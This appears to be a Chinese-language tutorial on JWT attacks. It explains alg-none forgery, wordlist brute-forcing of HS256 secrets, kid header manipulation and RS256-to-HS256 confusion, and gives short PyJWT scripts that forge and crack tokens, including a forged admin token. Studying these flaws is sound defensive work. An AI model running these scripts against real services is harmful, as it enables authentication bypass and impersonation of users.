- 1. 通过修改header中的alg字段实现攻击
- 2. 通过爆破密钥
- 3. 修改kid实现攻击
- 4. 修改加密算法
- 参考文章
jwt格式举例如下,以点来分割,总共为三部分:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ
jwt是一种类似于token、session的用户身份凭据。第一段称为header,第二段是payload,这两段都是base64编码可以随便被解密,第三段是signature,是用服务端私钥加密的,是身份验证的关键。
1. 通过修改header中的alg字段实现攻击条件:服务器端secret配置为none或者undefined
利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
安装依赖包
# jwt卸载命令 pip uninstall jwt # 保险起见,将PyJWT一同卸载 pip uninstall PyJWT # 重新安装PyJWT pip install PyJWT
import jwt
print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))
2. 通过爆破密钥
import jwt
jwt_json='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ'
with open('dict.txt',encoding='utf-8') as f: # 传入字典
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
c-jwt-cracker
上面种工具都可以
知道secret后就可以随便伪造身份。
的到密钥后通过jwt解码网站来进行二次加密,得到想要用户的凭据:
也可以使用python脚本:
import jwt
print(jwt.encode({"sub": "1234567890","name": "John Doe","admin":"true"}, key="Sn1f", algorithm="HS256"))
3. 修改kid实现攻击
kid是header部分,也就是第一部分中的一个字段,如果服务端未对kid进行安全过滤,那么我们可以指定任意kid来作为服务端解密的secret,达到任意身份验证的目的。
import jwt
jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})
同时也有如下的攻击方式:
4. 修改加密算法条件:知道服务端的加密公钥,当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,也就是将alg的值替换为HS256。并且通过获取到的公钥重新做签名,服务端在做验证的时候可能会使用自己的公钥进行解密验证。
参考文章https://www.cnblogs.com/wjrblogs/p/14361834.html
jwt解码网站
https://mp.weixin.qq.com/s/D_SSmWqSGDUFonOrQ3AAJQ



